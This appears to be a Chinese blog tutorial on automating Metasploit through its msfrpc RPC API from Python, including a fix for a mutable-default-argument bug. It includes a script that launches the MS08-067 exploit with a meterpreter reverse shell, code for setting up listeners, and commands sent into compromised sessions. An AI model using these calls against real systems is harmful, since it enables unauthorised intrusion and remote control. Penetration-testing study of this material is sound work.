Metaspolit結合Python的使用

Metaspolit結合Python的使用

有關pymsf的修改

pymsf的call函數在登錄以後調用一次以上就會報錯:
wrong number of arguments (given 2, expected 0)
希望0個參數,但是給了兩個
在這裏插入圖片描述
相關代碼:

  def call(self,meth,opts = []):
    .......
    if meth != "auth.login":
      opts.insert(0,self.token)
	......

乍一看沒什麼問題,不給opts傳值時,opts就會賦給一個空List。

但是由於Python中的List爲引用類型,opts=[]所對應的空數組只會在開始運行時進行初始化,而後只調用該引用。
說的比較難理解,我們可以做個實驗:

def a(b=[]):
    b.append(1)
	print(b)
a()
a() 
a() 

可以發現輸出爲:
在這裏插入圖片描述
說明每次b調用的默認List指向了同一個引用。

兩個解決辦法

  1. 每次給opts賦值
  2. 修改pymsf.py
def call(self,meth,opts = None):
  if opts is None:
    opts = []
    ...

修改後的庫:https://github.com/fnmsd/msfrpc

python依賴庫

pip install msgpack
#SpiderLabs的那份的msfrpc庫的call函數有點問題,我改了一下
wget https://raw.githubusercontent.com/fnmsd/msfrpc/master/python-msfrpc/msfrpc.py

起手

metaspolit端啓動msfrpc

load msgrpc Pass=Rinne
#詳細參數
#load msgrpc ServerHost=192.168.1.0 ServerPort=55553 User=user Pass='pass123'

執行結果:

在這裏插入圖片描述
PS:也可以不啓動msf來啓動msfrpcd,不過不推薦,不方便調試。

ruby msfrpcd -U user -P pass123 -p 55552 -a 127.0.0.1

pyhton端進行連接:

from msfrpc import Msfrpc
#默認連接127.0.0.1:55552,如果指定了端口或host可以將空字典改爲{"host":hostname,"port":port}的形式指定端口
client = Msfrpc({})
client.login('msf','Rinne')#登陸成功返回True

得到一個登陸了的MsfRPC客戶端,登陸保持的時間似乎比較短,長時間不用時需要重新登陸。

用法

直接讀寫Console的用法(不推薦)

網上很多是這麼做的,先說下這種,在之前的登陸後的client基礎上創建一個控制檯,進行寫入命令、讀取輸出,和直接在Metaspolit中操作是相同,個人感覺不太靈活。

以下轉自:https://www.freebuf.com/sectool/61282.html

#創建控制檯
ress = client.call('console.create')
console_id = ress['id']
#構建好要執行的命令
commands = """use exploit/windows/smb/ms08_067_netapi
set PAYLOAD windows/meterpreter/reverse_tcp
set RHOST """+RHOST+"""
set LHOST """+LHOST+"""
set LPORT """+LPORT+"""
set ExitOnSession false
exploit -z
"""
print "[+] Exploiting MS08-067 on: "+RHOST
#將構建好的命令寫入控制檯
client.call('console.write',[console_id,commands])
#讀取執行結果
res = client.call('console.read',[console_id])
result = res['data'].split('\n')

使用module\jobs\sessions API進行操作

  1. module API

    #ModuleType exploit/post/payload/payloads/encoders
    client.call('module.execute',["ModuleType", "ModuleName", {
      "RHOST" => "1.2.3.4",
      "RPORT" => "80"
      }])
    

    比如想使用multi/handler的進行meterpreter的監聽(metasploit中設置參數時參數名可以忽略大小寫,API調用時一定要注意大小寫)

    client.call('module.execute',['exploit','multi/handler',{
        'LHOST':'0.0.0.0',
        'LPORT':22334,
        'PAYLOAD':'windows/meterpreter/reverse_tcp'
    }])
    

    可以看到成功創建了任務,如果任務創建不成功則job_id爲None
    在這裏插入圖片描述

  2. jobs API

    • 剛纔創健的那個任務我們可以使用job.list API看到
    client.call('job.list')
    

在這裏插入圖片描述

client.call('job.info',[jobid])

在這裏插入圖片描述

  • 如果想停止任務使用job.stop API
client.call('job.stop',[jobid])

在這裏插入圖片描述
同時,可以看到對一個不存在的job使用stop會返回error。

  1. session API
  • 查看當前session
client.call('session.list')

會返回詳細的session信息
在這裏插入圖片描述

  • 停止session

    client.call('session.stop',[sessionid])
    #還有個session.meterpreter_session_kill是殺掉meterpreter打開的channel或者shell
    
  • 操作shell類session(直接往shell裏寫命令)

    client.call('session.shell_write',[sessionid,'whoami'])
    client.call('session.shell_read',[sessionid])
    
  • 操作meterpreter類session(相當於直接在控制檯裏與meterpreter進行交互)

    client.call('session.meterpreter_write',[sessionid,'getuid'])
    client.call('session.meterpreter_read',[sessionid])
    #還有一個session.meterpreter_run_single可以自行看下手冊
    

    在這裏插入圖片描述

  • session升級(shell升級到meterpreter)

    client.call('session.shell_upgrade',[sessionid])
    

額外的一點東西

有的時候只是爲了批量執行命令可以不使用msfrpc,直接寫一個rc文件進行批量執行即可。

比如我只是想快速開一個監聽器,按照metaspolit命令寫這樣一個腳本即可,比如叫listener.rc

use multi/handler
set payload windows/meterpter/reverse_tcp
set lhost 0.0.0.0
set lport 12345
set exitonsession false
exploit -j -z

打開msf直接執行resource listener.rc;或者msfconsole -r listener.rc。


同樣在meterpreter session連接的時候,可以讓其自動執行腳本。

use multi/handler
set AutoRunScript "multi_console_command -r /root/meterpreter.rc"

注意,一定要set AutoRunScript以後再啓動handler,否則不生效。

設置好後,當新的session接入後就會自動執行文件中的命令。

參考

  1. MSF常用RPC API(moudles\sessions\jobs…)

    https://metasploit.help.rapid7.com/docs/standard-api-methods-reference

  2. RPC相關參數

    https://metasploit.help.rapid7.com/docs/rpc-api

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章